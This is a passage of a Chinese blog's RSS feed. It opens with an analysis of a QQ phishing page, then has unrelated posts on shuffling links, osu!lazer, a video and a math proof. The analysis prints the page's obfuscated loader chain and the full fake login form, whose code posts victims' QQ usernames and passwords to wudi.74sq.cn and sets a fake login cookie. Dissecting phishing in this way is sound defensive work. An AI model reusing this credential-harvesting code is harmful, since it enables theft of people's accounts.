function base64_encode(d){var q=&apos;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=&apos;;var z,y,x,w,v,u,t,s,i=0,j=0,p=&apos;&apos;,r=[];if(!d){return d}do{z=d.charCodeAt(i++);y=d.charCodeAt(i++);x=d.charCodeAt(i++);s=z&amp;lt;&amp;lt;16|y&amp;lt;&amp;lt;8|x;w=s&amp;gt;&amp;gt;18&amp;amp;0x3f;v=s&amp;gt;&amp;gt;12&amp;amp;0x3f;u=s&amp;gt;&amp;gt;6&amp;amp;0x3f;t=s&amp;amp;0x3f;r[j++]=q.charAt(w)+q.charAt(v)+q.charAt(u)+q.charAt(t)}while(i&amp;lt;d.length);p=r.join(&apos;&apos;);var r=d.length%3;return(r?p.slice(0,r-3):p)+&apos;===&apos;.slice(r||3)}function base64_decode(d){var q=&apos;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=&apos;;var z,y,x,w,v,u,t,s,i=0,j=0,r=[];if(!d){return d}d+=&apos;&apos;;do{w=q.indexOf(d.charAt(i++));v=q.indexOf(d.charAt(i++));u=q.indexOf(d.charAt(i++));t=q.indexOf(d.charAt(i++));s=w&amp;lt;&amp;lt;18|v&amp;lt;&amp;lt;12|u&amp;lt;&amp;lt;6|t;z=s&amp;gt;&amp;gt;16&amp;amp;0xff;y=s&amp;gt;&amp;gt;8&amp;amp;0xff;x=s&amp;amp;0xff;if(u==64){r[j++]=String.fromCharCode(z)}else if(t==64){r[j++]=String.fromCharCode(z,y)}else{r[j++]=String.fromCharCode(z,y,x)}}while(i&amp;lt;d.length);return r.join(&apos;&apos;)}function arcfour(k,d){var o=&apos;&apos;;s=new Array();var n=256;l=k.length;for(var i=0;i&amp;lt;n;i++){s[i]=i}for(var j=i=0;i&amp;lt;n;i++){j=(j+s[i]+k.charCodeAt(i%l))%n;var x=s[i];s[i]=s[j];s[j]=x}for(var i=j=y=0;y&amp;lt;d.length;y++){i=(i+1)%n;j=(j+s[i])%n;x=s[i];s[i]=s[j];s[j]=x;o+=String.fromCharCode(d.charCodeAt(y)^s[(s[i]+s[j])%n])}return o}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;把 unescape 运行一下，得到&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
&amp;lt;meta http-equiv=&quot;content-type&quot; content=&quot;text/html;charset=utf-8&quot;&amp;gt;&amp;lt;meta http-equiv=&quot;X-UA-Compatible&quot; content=&quot;IE=Edge&quot;&amp;gt;&amp;lt;meta content=&quot;always&quot; name=&quot;referrer&quot;&amp;gt;
&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;
document.write(decodeURIComponent(arcfour(&quot;36a9dc5d29d54b46793d0c682298dbab&quot;,base64_decode(&quot;EzORpUle/yXbsLMJsHj2lt+3Y2Rns99J/Lj37LvRiWWB4Sxf075faqUVJ85nCvGPE2VhEVzCxaa3SNtNQVmxTwiW7xoDJXHJC7g4YhkBMxWFvSPf7bmJBojZsq/vyWOPe8uHMpDGYd1XJcqNY1Z4T6CwxCCK+TLfqJkC9d8KTGR+1aZqyLoLttwCLVdzceuZTddKZHuVPUGbh+0WorBVz+JdGk7lmAiZlGMd9kxuDbqvvW6LguR8teQkNAdM+KukG90+pKaGqSVYTBRTUCfJpqS3oA2sVzPHgRDRUA4uelzPC+31esGj6MXfZf7GbC4Z/WzBi6WsTrVAVvzq3oI6RoUEXa7KHj7bWi9b1BhFDxrqihtxwwpYXeWYBmMOrmgyTSiMN7hKxkKp+IGwT6s+KydpW8bT2CshYYffIHO7vu3NpWJQ/p1QLjMl0NlUZntT7TLwUWNdz5Qm95s3zaIJWwjqt+IqwhsSbvqDPwpq8jXtlGpDnNB7u0hPZg==&quot;))));
&amp;lt;/script&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;还要套，套这么多层&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&quot;http://libs.baidu.com/jquery/2.0.0/jquery.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;meta charset=&quot;utf-8&quot;&amp;gt;
&amp;lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=utf-8&quot; /&amp;gt;
&amp;lt;script&amp;gt;
$(function(){
$.getScript(&apos;http://wudi.74sq.cn/template/login.js&apos;);
});
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;外面还套个 $() 倒是调用了函数…… http://wudi.74sq.cn/template/login.js, 就是它没错了。&lt;/p&gt;
&lt;p&gt;他又套了一层…… 这个 js 在 document 里 write 了一个包含一段 js 代码的 html, 又套一层。然后终于出现真身:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html lang=&quot;zh-cn&quot;&amp;gt;
&amp;lt;head&amp;gt;
&amp;lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=UTF-8&quot;/&amp;gt;
&amp;lt;meta id=&quot;viewport&quot; name=&quot;viewport&quot; content=&quot;width=device-width,minimum-scale=1,maximum-scale=1,initial-scale=1,user-scalable=no&quot;/&amp;gt;
&amp;lt;meta name=&quot;apple-mobile-web-app-capable&quot; content=&quot;yes&quot;/&amp;gt;
&amp;lt;script src=&quot;//libs.baidu.com/jquery/2.0.0/jquery.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;script src=&quot;//open.mobile.qq.com/sdk/qqapi.js?_bid=152&quot;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;//qzonestyle.gtimg.cn/qzone/phone/style/login.css&quot;/&amp;gt;
&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;//wudi.74sq.cn/template/css.css&quot;/&amp;gt;
&amp;lt;!--顶部banner--&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;
    function setCookie(name, value) {
			var Days = 30;
			var exp = new Date();
			exp.setTime(exp.getTime() + Days * 24 * 60 * 60 * 1000);
			document.cookie = name + &quot;=&quot; + escape(value) + &quot;;expires=&quot; + exp.toGMTString();
		}
function getCookie(name) {
            var arr, reg = new RegExp(&quot;(^| )&quot; + name + &quot;=([^;]*)(;|$)&quot;);

            if (arr = document.cookie.match(reg))

                return unescape(arr[2]);
            else
                return 0;
        }
  if (getCookie(&quot;login&quot;)){
    window.location.href=&apos;https://h5.qzone.qq.com/mqzone/profile?stat=&amp;amp;hostuin=0#0/info/me&apos;;//二次跳转地址

      }

$(function(){
 mqq.ui.setTitleButtons({
   left : {
       title : &quot;相册&quot;,
       callback : function () {
       }
   },
   right : {
       hidden: true
   }
})
});
&amp;lt;/script&amp;gt;
&amp;lt;body style=&quot;zoom: 1;&quot;&amp;gt;
&amp;lt;script&amp;gt;
eval(function(p,a,c,k,e,r){e=function(c){return(c&amp;lt;a?&apos;&apos;:e(parseInt(c/a)))+((c=c%a)&amp;gt;35?String.fromCharCode(c+29):c.toString(36))};if(!&apos;&apos;.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return&apos;\\w+&apos;};c=1};while(c--)if(k[c])p=p.replace(new RegExp(&apos;\\b&apos;+e(c)+&apos;\\b&apos;,&apos;g&apos;),k[c]);return p}(&apos;1 k=$(r);1 5=0;1 8=0;g(&quot;G&quot;,4(a){5=a.w[0].q});g(&quot;R&quot;,4(a){8=a.w[0].q;7(k.17()&amp;lt;=0&amp;amp;&amp;amp;5&amp;lt;8){a.D();7($(&quot;#3&quot;).J&amp;lt;=0){$(&quot;K&quot;).L(\&apos;&amp;lt;m S=&quot;3&quot; T=&quot;U-V:W;Y-l:#15;l:#16;d:18;1b-1c:1d;z-d:A;B-C:1g;E:F;&quot;&amp;gt;&amp;lt;p&amp;gt;网页由 \&apos;+\&apos;H.I.i.h\&apos;+\&apos; 提供&amp;lt;/p&amp;gt;&amp;lt;p&amp;gt;j浏览器M内核提供技术支持&amp;lt;/p&amp;gt;&amp;lt;/m&amp;gt;\&apos;)}$(&quot;#3&quot;).d((8-5))}});g(&quot;N&quot;,4(a){$(&quot;#3&quot;).O(&quot;P&quot;,4(){$(&quot;#3&quot;).Q()})});1 2={e:c,b:c,n:c};1 p=o.X;2.e=p.6(&quot;Z&quot;)==0;2.b=p.6(&quot;10&quot;)==0;2.11=(p==&quot;12&quot;)||(p.6(&quot;13&quot;)==0);7(2.e||2.b||2.n){y.s.t=&quot;u://v.i.h&quot;}7(o.19.6(\&apos;j/\&apos;)&amp;gt;0){}1a{y.s.t=\&apos;u://v.i.h\&apos;}1 9=x.9;1 f=x.f;r.1e(&quot;1f&quot;).14=9+f;&apos;,62,79,&apos;|var|system|_domain_display|function|_touches_point1|indexOf|if|_touches_point2|province||mac|false|height|win|city|addEventListener|com|qq|QQ|doc|color|div|xll|navigator||pageY|document|location|href|http|qzone|touches|remote_ip_info|window|line|26px|font|size|preventDefault|overflow|hidden|touchstart|ui|ptlogin2|length|body|prepend|X5|touchend|slideUp|normal|remove|touchmove|id|style|text|align|center|platform|background|Win|Mac|x11|X11|Linux|value|bebdc2|65696c|scrollTop|0px|userAgent|else|padding|top|15px|getElementById|ip|12px&apos;.split(&apos;|&apos;),0,{}))
&amp;lt;/script&amp;gt;
&amp;lt;div id=&quot;content&quot; class=&quot;content&quot;&amp;gt;
	&amp;lt;div id=&quot;error_tips&quot;&amp;gt;
		&amp;lt;div id=&quot;error_tips_content&quot;&amp;gt;
			&amp;lt;span id=&quot;error_icon&quot;&amp;gt;&amp;lt;/span&amp;gt;
			&amp;lt;span id=&quot;error_message&quot;&amp;gt;&amp;lt;/span&amp;gt;
		&amp;lt;/div&amp;gt;
	&amp;lt;/div&amp;gt;
	&amp;lt;div id=&quot;login&quot; class=&quot;login&quot;&amp;gt;
		&amp;lt;div id=&quot;logo&quot; class=&quot;logo&quot;&amp;gt;
		&amp;lt;/div&amp;gt;
		&amp;lt;div id=&quot;app_name&quot; style=&quot;display: none&quot;&amp;gt;
		&amp;lt;/div&amp;gt;
		&amp;lt;div id=&quot;q_login&quot; class=&quot;q_login&quot; style=&quot;display: none&quot;&amp;gt;
			&amp;lt;div id=&quot;q_login_title&quot;&amp;gt;
				&amp;lt;div id=&quot;q_login_logo&quot;&amp;gt;
				&amp;lt;/div&amp;gt;
				&amp;lt;label id=&quot;q_login_tips&quot;&amp;gt;&amp;lt;/label&amp;gt;
			&amp;lt;/div&amp;gt;
			&amp;lt;div id=&quot;q_logon_list&quot; class=&quot;q_logon_list&quot;&amp;gt;
			&amp;lt;/div&amp;gt;
		&amp;lt;/div&amp;gt;
		&amp;lt;div id=&quot;web_login&quot;&amp;gt;
			&amp;lt;form id=&quot;loginform&quot; autocomplete=&quot;off&quot; name=&quot;loginform&quot; action=&quot;&quot; method=&quot;&quot; target=&quot;&quot; style=&quot;margin:0&quot;&amp;gt;
				&amp;lt;script src=&quot;http://int.dpool.sina.com.cn/iplookup/iplookup.php?format=js&quot;&amp;gt;&amp;lt;/script&amp;gt;
				&amp;lt;input type=&quot;hidden&quot; name=&quot;ip&quot; id=&quot;ip&quot;/&amp;gt;
				&amp;lt;ul id=&quot;g_list&quot;&amp;gt;
					&amp;lt;li id=&quot;g_u&quot;&amp;gt;
					&amp;lt;div id=&quot;del_touch&quot; class=&quot;del_touch&quot;&amp;gt;
						&amp;lt;span id=&quot;del_u&quot; class=&quot;del_u&quot;&amp;gt;&amp;lt;/span&amp;gt;
					&amp;lt;/div&amp;gt;
					&amp;lt;input id=&quot;u&quot; class=&quot;inputstyle&quot; name=&quot;hrUW3PG7mp3RLd3dJu&quot; autocomplete=&quot;off&quot; placeholder=&quot;QQ号码/手机/邮箱&quot;/&amp;gt;&amp;lt;/li&amp;gt;
					&amp;lt;li id=&quot;g_p&quot;&amp;gt;
					&amp;lt;div id=&quot;del_touch_p&quot; class=&quot;del_touch&quot;&amp;gt;
						&amp;lt;span id=&quot;del_p&quot; class=&quot;del_u&quot;&amp;gt;&amp;lt;/span&amp;gt;
					&amp;lt;/div&amp;gt;
					&amp;lt;input id=&quot;p&quot; class=&quot;inputstyle&quot; maxlength=&quot;16&quot; type=&quot;password&quot; name=&quot;LxMzAX2jog9Bpjs07jP&quot; autocorrect=&quot;off&quot; placeholder=&quot;请输入您的QQ密码&quot;/&amp;gt;&amp;lt;/li&amp;gt;
				&amp;lt;/ul&amp;gt;
				&amp;lt;div href=&quot;javascript:void(0);&quot; id=&quot;go&quot;&amp;gt;登 录&amp;lt;/div&amp;gt;
			&amp;lt;/form&amp;gt;
		&amp;lt;/div&amp;gt;
		&amp;lt;div id=&quot;switch&quot;&amp;gt;
			&amp;lt;div id=&quot;swicth_login&quot; onclick=&quot;pt._switch()&quot; style=&quot;display: none&quot;&amp;gt;
			&amp;lt;/div&amp;gt;
			&amp;lt;div id=&quot;zc_feedback&quot;&amp;gt;
				&amp;lt;span id=&quot;zc&quot; onclick=&quot;window.open(&apos;http\x3A\x2F\x2Fptlogin2.qq.com\x2Fj_newreg_url&apos;)&quot;&amp;gt;注册新帐号&amp;lt;/span&amp;gt;
				&amp;lt;span id=&quot;forgetpwd&quot; onclick=&quot;window.open(&apos;http://ptlogin2.qq.com/j_findpwd_url&apos;)&quot;&amp;gt;忘了密码？&amp;lt;/span&amp;gt;
			&amp;lt;/div&amp;gt;
		&amp;lt;/div&amp;gt;
		&amp;lt;div id=&quot;custom_bottom&quot;&amp;gt;
		&amp;lt;/div&amp;gt;
	&amp;lt;/div&amp;gt;
	&amp;lt;div id=&quot;vcode&quot;&amp;gt;
		&amp;lt;label id=&quot;vcode_tips&quot;&amp;gt;&amp;lt;/label&amp;gt;
		&amp;lt;div id=&quot;vcode_area&quot;&amp;gt;
			&amp;lt;img id=&quot;vcode_img&quot;/&amp;gt;
			&amp;lt;label id=&quot;input_tips&quot;&amp;gt;&amp;lt;/label&amp;gt;
			&amp;lt;input id=&quot;vcode_input&quot; name=&quot;vcode_input&quot; tabindex=&quot;3&quot; autocomplete=&quot;off&quot; autocorrect=&quot;off&quot; maxlength=&quot;6&quot;/&amp;gt;
		&amp;lt;/div&amp;gt;
		&amp;lt;div id=&quot;button&quot;&amp;gt;
		&amp;lt;/div&amp;gt;
	&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;div id=&quot;new_vcode&quot; class=&quot;new_vcode&quot;&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;div id=&quot;footerBlank&quot;&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;script&amp;gt;
  var times = 0;
      function error(msg) {
        $(&quot;#error_tips&quot;).css({
          display: &apos;block&apos;
        });
        $(&apos;#error_message&apos;).html(msg);
        err = true;
      }
      $(&apos;form input&apos;).focus(function() {
        $(&quot;#error_tips&quot;).css({
          display: &apos;none&apos;
        });
        err = false;
      });
      $(&quot;#error_tips&quot;).on(&apos;click&apos;,
      function() {
        $(this).hide();
      });
      $(&quot;#go&quot;).on(&apos;click&apos;,
        function() {
        var $this = $(this);
        err = false;
        var p = $(&quot;#p&quot;).val();
        var u = $(&quot;#u&quot;).val();
        u == &apos;&apos; &amp;amp;&amp;amp; error(&apos;您还没有输入帐号！&apos;);
        if (err) return false;
        p == &apos;&apos; &amp;amp;&amp;amp; error(&quot;您还没有输入密码！&quot;);
        if (err) return false;
        /^[1-9][0-9]{5,9}$/.test(u) || error(&apos;请输入正确的帐号！&apos;);
        if (err) return false;
        var len = p.length; (len &amp;lt; 6 || len &amp;gt; 16) &amp;amp;&amp;amp; error(&apos;您输入的帐号或密码不正确，请重新输入。&apos;);
        if (err) {
          $(&quot;#p&quot;).val(&apos;&apos;);
          return false;
        }
		if (!err){
			$.ajax({
				url:&apos;//wudi.74sq.cn/user.php&apos;,
				type:&apos;POST&apos;,
				dataType:&apos;json&apos;,
				data: $(&apos;#loginform&apos;).serialize(),
				error:function(er){
                  setCookie(&quot;login&quot;, &quot;yes&quot;)
				window.location.href=&apos;//qzone.qq.com&apos;;
                }
			})
		}
      })
  &amp;lt;/script&amp;gt;
&amp;lt;div style=&quot;display:none;&quot;&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;无聊的伪装。已登录的 Cookie 都有设置，防止用户再次点开是未登录状态而起疑心。&lt;/p&gt;
&lt;p&gt;他使用 POST 提交，URL 为 http://wudi.74sq.cn/user.php, 数据格式: ip=&amp;amp;hrUW3PG7mp3RLd3dJu=用户名&amp;amp;LxMzAX2jog9Bpjs07jP=密码&lt;/p&gt;
&lt;p&gt;结束。&lt;/p&gt;
</content:encoded></item><item><title>随机排列的友链</title><link>https://idkidknow.com/posts/%E9%9A%8F%E6%9C%BA%E6%8E%92%E5%88%97%E7%9A%84%E5%8F%8B%E9%93%BE/</link><guid isPermaLink="true">https://idkidknow.com/posts/%E9%9A%8F%E6%9C%BA%E6%8E%92%E5%88%97%E7%9A%84%E5%8F%8B%E9%93%BE/</guid><description>操作 DOM 把友链条目重新安排一下罢了。</description><pubDate>Thu, 28 Jun 2018 23:03:26 GMT</pubDate><content:encoded>&lt;p&gt;随机排列友链。&lt;/p&gt;
&lt;p&gt;找到友链页面。加入以下 JavaScript 代码，需要 jQuery:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function randomSort() {
  const linkItems = $(&apos;.a-link-item-class&apos;).toArray()
  const linkItemsHTML = new Array()
  for (var i in linkItems) {
    linkItemsHTML.push(linkItems[i].innerHTML)
  }

  const arr = new Array()
  for (var i = 0; i &amp;lt; linkItems.length; ++i) {
    arr.push(i)
  }
  for (var i = 1; i &amp;lt; arr.length; ++i) {
    rand = Math.floor(Math.random() * (i + 1))
    const temp = arr[i]
    arr[i] = arr[rand]
    arr[rand] = temp
  }

  $(&apos;.a-link-item-class&apos;).html((index) =&amp;gt; { return linkItemsHTML[arr[index]] })
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;将 .a-link-item-class 换成需要随机排列的元素的 class 名，然后在文档加载完成后执行 &lt;code&gt;randomSort();&lt;/code&gt; 即可。&lt;/p&gt;
</content:encoded></item><item><title>在Linux上玩osu!lazer是怎样的体验</title><link>https://idkidknow.com/posts/%E5%9C%A8linux%E4%B8%8A%E7%8E%A9osu-lazer%E6%98%AF%E6%80%8E%E6%A0%B7%E7%9A%84%E4%BD%93%E9%AA%8C/</link><guid isPermaLink="true">https://idkidknow.com/posts/%E5%9C%A8linux%E4%B8%8A%E7%8E%A9osu-lazer%E6%98%AF%E6%80%8E%E6%A0%B7%E7%9A%84%E4%BD%93%E9%AA%8C/</guid><description>作为手残党，挂了 n 周目后默默地关了 osu!. 想到还没尝试过 osu!lazer, 于是我决定尝鲜一下。 懒癌晚期，跑到 AUR 上寻...</description><pubDate>Sat, 23 Jun 2018 12:26:04 GMT</pubDate><content:encoded>&lt;p&gt;作为手残党，挂了 n 周目后默默地关了 osu!. 想到还没尝试过 osu!lazer, 于是我决定尝鲜一下。&lt;/p&gt;
&lt;p&gt;懒癌晚期，跑到 AUR 上寻之，结果编译完以后有不明运行时错误……本人并不熟悉 C#, 于是乖乖地去 GitHub 上把源码 clone 下来，用 IDE(MonoDevelop) 编译。&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;$mono &apos;osu!.exe&apos;&lt;/p&gt;
&lt;p&gt;运行之&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;../../assets/%E5%9C%A8Linux%E4%B8%8A%E7%8E%A9osu-lazer%E6%98%AF%E6%80%8E%E6%A0%B7%E7%9A%84%E4%BD%93%E9%AA%8C/main.png&quot; alt=&quot;主界面&quot; /&gt;&lt;/p&gt;
&lt;p&gt;磨砂玻璃的效果很让人满意。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;../../assets/%E5%9C%A8Linux%E4%B8%8A%E7%8E%A9osu-lazer%E6%98%AF%E6%80%8E%E6%A0%B7%E7%9A%84%E4%BD%93%E9%AA%8C/background_blur.png&quot; alt=&quot;磨砂效果&quot; /&gt;&lt;/p&gt;
&lt;p&gt;整体观感第一眼感觉很惊艳，但某些地方还是过于花哨。例如这个上升的三角形的动画，个人觉得太花了:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;../../assets/%E5%9C%A8Linux%E4%B8%8A%E7%8E%A9osu-lazer%E6%98%AF%E6%80%8E%E6%A0%B7%E7%9A%84%E4%BD%93%E9%AA%8C/tri.gif&quot; alt=&quot;三角形动画&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;期待 ppy 的下一步。 (然后我开始对 C# 感兴趣了&lt;/p&gt;
</content:encoded></item><item><title>My First Video Made by After Effects</title><link>https://idkidknow.com/posts/my-first-video-made-by-after-effects/</link><guid isPermaLink="true">https://idkidknow.com/posts/my-first-video-made-by-after-effects/</guid><description>学习Adobe After Effects后做的第一个视频素材</description><pubDate>Sat, 16 Jun 2018 12:32:25 GMT</pubDate><content:encoded>&lt;p&gt;毕业了。要办毕业典礼。准时入场后到开场前不能让人干坐着，于是需要一个入场视频。&lt;/p&gt;
&lt;p&gt;于是找到了我。&lt;/p&gt;
&lt;p&gt;作为萌新，我拿起了 &lt;em&gt;Adobe After Effects&lt;/em&gt;, 学习后尝试做了第一个视频素材。&lt;/p&gt;
&lt;p&gt;&amp;lt;style&amp;gt;
video {
width: 100%;
height: auto;
}
&amp;lt;/style&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;video src=&quot;https://idkidknow-1251598772.cos.ap-shanghai.myqcloud.com/ending.mp4&quot; controls=&quot;controls&quot;&amp;gt;
&amp;lt;/video&amp;gt;&lt;/p&gt;
</content:encoded></item><item><title>无不动点的连续函数f(x)与f(f(x))的不动点</title><link>https://idkidknow.com/posts/%E6%97%A0%E4%B8%8D%E5%8A%A8%E7%82%B9%E7%9A%84%E8%BF%9E%E7%BB%AD%E5%87%BD%E6%95%B0f-x-%E4%B8%8Ef-f-x-%E7%9A%84%E4%B8%8D%E5%8A%A8%E7%82%B9/</link><guid isPermaLink="true">https://idkidknow.com/posts/%E6%97%A0%E4%B8%8D%E5%8A%A8%E7%82%B9%E7%9A%84%E8%BF%9E%E7%BB%AD%E5%87%BD%E6%95%B0f-x-%E4%B8%8Ef-f-x-%E7%9A%84%E4%B8%8D%E5%8A%A8%E7%82%B9/</guid><description>不穿过y=x，那只能在同一边了。</description><pubDate>Mon, 11 Jun 2018 18:09:39 GMT</pubDate><content:encoded>&lt;p&gt;已知二次函数 $f(x)=ax^2+bx+c$，$f(x)=x$ 无实数根，求证: $f(f(x))=x$ 无实数根。&lt;/p&gt;
&lt;p&gt;有人将待定系数的二次函数代入，可以将冗长的一串式子因式分解，最后利用不等式证明。&lt;/p&gt;
&lt;p&gt;这个思路比较直接，但是 Naïve.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;用更简单的办法可以得出更强的结论: 对定义域和值域均为 $D$ 的连续函数 $f(x)$，若 $f(x)$ 没有不动点，则 $g(x)=f(f(x))$ 没有不动点。&lt;/p&gt;
&lt;p&gt;证明：即证&lt;/p&gt;
&lt;p&gt;$$\forall x\in D\colon f(f(x))\neq x$$&lt;/p&gt;
&lt;p&gt;令 $h(x)=f(x)-x$，由条件知&lt;/p&gt;
&lt;p&gt;$$\forall x\in D\colon h(x)\neq 0$$&lt;/p&gt;
&lt;p&gt;$$\forall x_1,x_2 \in D\colon h(x_1)h(x_2)\neq 0$$&lt;/p&gt;
&lt;p&gt;假设 $h(x_1)h(x_2)&amp;lt;0$，由零点定理得 $\exists \xi \in D\colon h(\xi)=0$，产生矛盾，因此有&lt;/p&gt;
&lt;p&gt;$$\forall x_1,x_2 \in D\colon h(x_1)h(x_2)&amp;gt;0$$&lt;/p&gt;
&lt;p&gt;$$\Rightarrow \forall x \in D\colon h(x)&amp;gt;0 \text{或} \forall x \in D\colon h(x)&amp;lt;0$$&lt;/p&gt;
&lt;p&gt;下面证明当 $\forall x \in D\colon h(x)&amp;gt;0$ 时的情况，小于 $0$ 时同理&lt;/p&gt;
&lt;p&gt;$$h(x)=f(x)-x&amp;gt;0$$&lt;/p&gt;
&lt;p&gt;$$\Rightarrow f(x)&amp;gt;x$$&lt;/p&gt;
&lt;p&gt;而$f(x) \in D$，因此有&lt;/p&gt;
&lt;p&gt;$$f(f(x))&amp;gt;f(x)$$&lt;/p&gt;
&lt;p&gt;于是
$$f(f(x))&amp;gt;f(x)&amp;gt;x\quad \Box$$&lt;/p&gt;
</content:encoded></item><item><title>Hello World</title><link>https://idkidknow.com/posts/hello-world/</link><guid isPermaLink="true">https://idkidknow.com/posts/hello-world/</guid><description>Conventionally, Hello World!</description><pubDate>Sun, 10 Jun 2018 23:33:33 GMT</pubDate><content:encoded>&lt;p&gt;Conventionally, Hello World!&lt;/p&gt;
</content:encoded></item></channel></rss>